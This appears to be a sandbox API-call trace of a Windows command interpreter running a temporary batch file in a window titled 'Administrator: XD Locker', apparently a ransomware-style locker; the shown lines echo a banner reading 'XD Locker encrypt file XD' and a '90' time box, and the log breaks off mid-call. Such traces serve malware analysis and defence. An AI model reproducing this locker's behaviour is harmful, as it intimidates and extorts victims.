1 [0040.443] GetProcessHeap () returned 0x4e0000 [0040.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.443] GetProcessHeap () returned 0x4e0000 [0040.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.443] GetProcessHeap () returned 0x4e0000 [0040.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0040.444] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xe47, lpOverlapped=0x0) returned 1 [0040.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=6153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0040.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 35 [0040.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.444] GetFileType (hFile=0x74) returned 0x1 [0040.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0040.444] GetProcessHeap () returned 0x4e0000 [0040.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.444] GetProcessHeap () returned 0x4e0000 [0040.444] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.445] _tell (_FileHandle=3) returned 6153 [0040.445] _close (_FileHandle=3) returned 0 [0040.445] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.445] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.445] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.445] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.445] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.445] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.445] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.445] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.445] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.446] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.446] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.446] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="++++++++++++++++++++++++++++\r\n") returned 30 [0040.446] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.446] GetFileType (hFile=0x7) returned 0x2 [0040.446] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.446] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.447] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1e) returned 1 [0040.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.447] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.447] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.448] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.448] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.448] SetConsoleInputExeNameW () returned 0x1 [0040.448] GetConsoleOutputCP () returned 0x1b5 [0040.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.448] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.448] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.448] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=6153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0040.449] GetProcessHeap () returned 0x4e0000 [0040.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.449] GetProcessHeap () returned 0x4e0000 [0040.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.449] GetProcessHeap () returned 0x4e0000 [0040.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.449] GetProcessHeap () returned 0x4e0000 [0040.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.449] GetProcessHeap () returned 0x4e0000 [0040.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0040.449] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xe24, lpOverlapped=0x0) returned 1 [0040.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=6188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0040.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo +XD Locker encrypt file XD +\r\n\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 35 [0040.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.449] GetFileType (hFile=0x74) returned 0x1 [0040.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0040.450] GetProcessHeap () returned 0x4e0000 [0040.450] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.450] GetProcessHeap () returned 0x4e0000 [0040.450] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.450] _tell (_FileHandle=3) returned 6188 [0040.450] _close (_FileHandle=3) returned 0 [0040.451] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.451] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.451] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.451] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.451] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.451] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.451] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.451] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.451] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.451] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.451] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.451] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="+XD Locker encrypt file XD +\r\n") returned 30 [0040.451] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.451] GetFileType (hFile=0x7) returned 0x2 [0040.452] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.452] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.452] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.452] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1e) returned 1 [0040.452] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.452] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.453] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.453] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.453] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.453] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.453] SetConsoleInputExeNameW () returned 0x1 [0040.453] GetConsoleOutputCP () returned 0x1b5 [0040.453] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.453] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.454] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.454] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=6188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0040.454] GetProcessHeap () returned 0x4e0000 [0040.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.454] GetProcessHeap () returned 0x4e0000 [0040.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.454] GetProcessHeap () returned 0x4e0000 [0040.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.454] GetProcessHeap () returned 0x4e0000 [0040.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.454] GetProcessHeap () returned 0x4e0000 [0040.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0040.454] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xe01, lpOverlapped=0x0) returned 1 [0040.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=6223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0040.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 35 [0040.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.455] GetFileType (hFile=0x74) returned 0x1 [0040.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0040.455] GetProcessHeap () returned 0x4e0000 [0040.455] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.455] GetProcessHeap () returned 0x4e0000 [0040.455] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.456] _tell (_FileHandle=3) returned 6223 [0040.456] _close (_FileHandle=3) returned 0 [0040.456] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.456] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.456] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.456] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.456] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.456] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.456] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.456] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.456] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.456] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.456] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.456] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="++++++++++++++++++++++++++++\r\n") returned 30 [0040.456] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.456] GetFileType (hFile=0x7) returned 0x2 [0040.457] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.457] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.457] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.457] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1e) returned 1 [0040.457] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.457] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.458] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.458] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.458] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.458] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.458] SetConsoleInputExeNameW () returned 0x1 [0040.458] GetConsoleOutputCP () returned 0x1b5 [0040.459] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.459] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.459] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.459] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=6223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0040.459] GetProcessHeap () returned 0x4e0000 [0040.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.459] GetProcessHeap () returned 0x4e0000 [0040.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.459] GetProcessHeap () returned 0x4e0000 [0040.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.459] GetProcessHeap () returned 0x4e0000 [0040.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.459] GetProcessHeap () returned 0x4e0000 [0040.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0040.460] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xdde, lpOverlapped=0x0) returned 1 [0040.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=6258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0040.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo +===========time===========+\r\n\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 35 [0040.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.460] GetFileType (hFile=0x74) returned 0x1 [0040.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0040.460] GetProcessHeap () returned 0x4e0000 [0040.460] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.460] GetProcessHeap () returned 0x4e0000 [0040.460] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.461] _tell (_FileHandle=3) returned 6258 [0040.461] _close (_FileHandle=3) returned 0 [0040.461] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.461] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.461] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.461] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.461] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.461] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.461] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.461] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.461] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.461] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.461] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.462] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="+===========time===========+\r\n") returned 30 [0040.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.462] GetFileType (hFile=0x7) returned 0x2 [0040.462] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.462] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.462] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1e) returned 1 [0040.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.463] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.463] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.463] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.463] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.463] SetConsoleInputExeNameW () returned 0x1 [0040.463] GetConsoleOutputCP () returned 0x1b5 [0040.464] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.464] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.464] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.464] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=6258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0040.464] GetProcessHeap () returned 0x4e0000 [0040.464] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.464] GetProcessHeap () returned 0x4e0000 [0040.464] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.464] GetProcessHeap () returned 0x4e0000 [0040.464] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.464] GetProcessHeap () returned 0x4e0000 [0040.464] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.465] GetProcessHeap () returned 0x4e0000 [0040.465] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0040.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xdbb, lpOverlapped=0x0) returned 1 [0040.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=6293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0040.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo + 90 +\r\n\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 35 [0040.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.465] GetFileType (hFile=0x74) returned 0x1 [0040.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0040.465] GetProcessHeap () returned 0x4e0000 [0040.465] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.465] GetProcessHeap () returned 0x4e0000 [0040.465] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.466] _tell (_FileHandle=3) returned 6293 [0040.466] _close (_FileHandle=3) returned 0 [0040.466] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.466] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.466] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.466] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.466] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.466] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.466] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.467] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.467] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.467] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.467] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.467] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="+ 90 +\r\n") returned 30 [0040.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.467] GetFileType (hFile=0x7) returned 0x2 [0040.467] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.467] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.468] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1e) returned 1 [0040.468] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.468] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.468] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.468] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.468] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.468] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.469] SetConsoleInputExeNameW () returned 0x1 [0040.469] GetConsoleOutputCP () returned 0x1b5 [0040.469] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.469] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.469] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.469] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=6293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 